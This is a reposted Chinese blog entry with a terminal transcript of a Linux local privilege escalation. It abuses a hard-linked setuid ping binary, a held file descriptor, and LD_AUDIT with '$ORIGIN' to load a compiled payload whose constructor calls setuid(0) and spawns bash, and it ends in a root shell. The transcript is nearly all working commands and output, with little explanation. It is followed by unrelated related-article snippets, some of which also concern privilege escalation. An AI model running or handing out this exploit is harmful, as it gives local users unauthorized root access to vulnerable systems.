Linux Local Privilege exp

简介:

 [met3or@c3 /]$ ls -al |grep exp
drwxrwxrwx   2 root root    4096 Oct 19 19:25 exp
[met3or@c3 /]$ cd exp
[met3or@c3 exp]$ mkdir exploit
[met3or@c3 exp]$ ls -al
drwxrwxrwx 3 root   root   4096 Oct 19 19:26 .
drwxr-xr-x 26 root   root   4096 Oct 19 19:24 ..
drwxrwxr-x 2 met3or met3or 4096 Oct 19 19:26 exploit
[met3or@c3 exp]$ ln /bin/ping /exp/exploit/target
[met3or@c3 exp]$ exec 3< /exp/exploit/target 
[met3or@c3 exp]$ ls -l /proc/$$/fd/3
lr-x------ 1 met3or met3or 64 Oct 19 19:25 /proc/6030/fd/3 -> /exp/exploit/target
[met3or@c3 exp]$ rm -rf /exp/exploit/
[met3or@c3 exp]$ ls -l /proc/$$/fd/3 
lr-x------ 1 met3or met3or 64 Oct 19 19:25 /proc/6030/fd/3 -> /exp/exploit/target (deleted)
[met3or@c3 exp]$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
[met3or@c3 exp]$ gcc -w -fPIC -shared -o /exp/exploit payload.c
[met3or@c3 exp]$ ls -l /exp/exploit
-rwxrwxr-x 1 met3or met3or 4223 Oct 19 19:27 /exp/exploit
[met3or@c3 exp]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
[root@c3 exp]# whoami
root
[root@c3 exp]# id
uid=0(root) gid=510(met3or) groups=510(met3or)

看的懂的人懂,看不懂的熟悉linux相关基础知识去~

















本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/440265,如需转载请自行联系原作者

相关文章
|
自然语言处理 安全 Shell
Linux 提权-SUID/SGID_1 本文通过 Google 翻译 SUID | SGID Part-1 – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
接下来,让我们看看 SUID3NUM 在枚举 SUID 二进制文件方面的表现如何。 3.2、枚举 SUID 二进制文件 – SUID3NUM 我们将用来枚举 SUID 二进制文件的第二个工具是 SUID3NUM。这是一个很棒的工具,因为它是专门为枚举 SUID 二进制文件而创建的。但这还不是全部,它还提供了可用于提升权限的命令(命令从 GTFOBins 中提取)。 这还不是最好的部分,SUID3NUM 还具有内置的 autopwn 功能,可以通过 -e 开关激活! 在 OSCP 考试中也使用此工具,只要您不使用自动利用功能。 3.2.1、下载并执行 SUID3NUM 我们可以从 GitHubs
364 0
|
Linux
Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability
http://www.securityfocus.com/data/vulnerabilities/exploits/36901.
965 0
|
Linux
Linux Kernel 'fasync_helper()' Local Privilege Escalation Vulnerability
http://www.securityfocus.com/data/vulnerabilities/exploits/37806.
895 0
|
Linux Shell
Linux Kernel Samba Share Local Privilege Elevation Vulnerability
The following example has been supplied:"share" - smb server"slovakia" - smb clientmisko@slovakia:~$ smbmount --versionUsage: mount.
881 0
|
Linux
Linux Kernel Controller Area Network Protocol Local Privilege Escalation Vulnerability
http://www.securityfocus.com/data/vulnerabilities/exploits/42585.
932 0
|
Linux 机器学习/深度学习
Linux Kernel open-time Capability file_ns_capable() Privilege Escalation
/* userns_root_sploit.c by */ /* Copyright (c) 2013 Andrew Lutomirski.
1297 0
|
存储 Linux
如何查看Linux设备的硬盘信息?
【4月更文挑战第12天】在Linux系统中,查看硬盘信息的常用命令。
1047 4
|
前端开发 JavaScript API
在 Vue3 + Element Plus 中生成动态表格,动态修改表格,多级表头,合并单元格
在 Vue 中,表格组件是使用频率及复杂度排名第一的组件,前端经常需要根据后台返回的数据动态渲染表格,比如动态表格如何生成,因为表格的列并不是固定的,在未知表格具体有哪些列的场景下,前端如何动态渲染表格数据。又或者需要把表格单元格进行合并处理,比如第一列是日期,需要把相同的日期进行合并,这样表格看起来会更加清晰。 本文手把手教你如何在 Vue3 + Element Plus 中创建表格、生成动态表格、创建动态多级表头、表格行合并、列合并等问题。如果你正在搭建后台管理工具,又不想处理前端问题,推荐使用卡拉云 ,卡拉云是新一代低代码开发工具,可一键接入常见数据库及 API ,无需懂前端,仅需拖拽即
3941 0
|
算法 数据安全/隐私保护 C++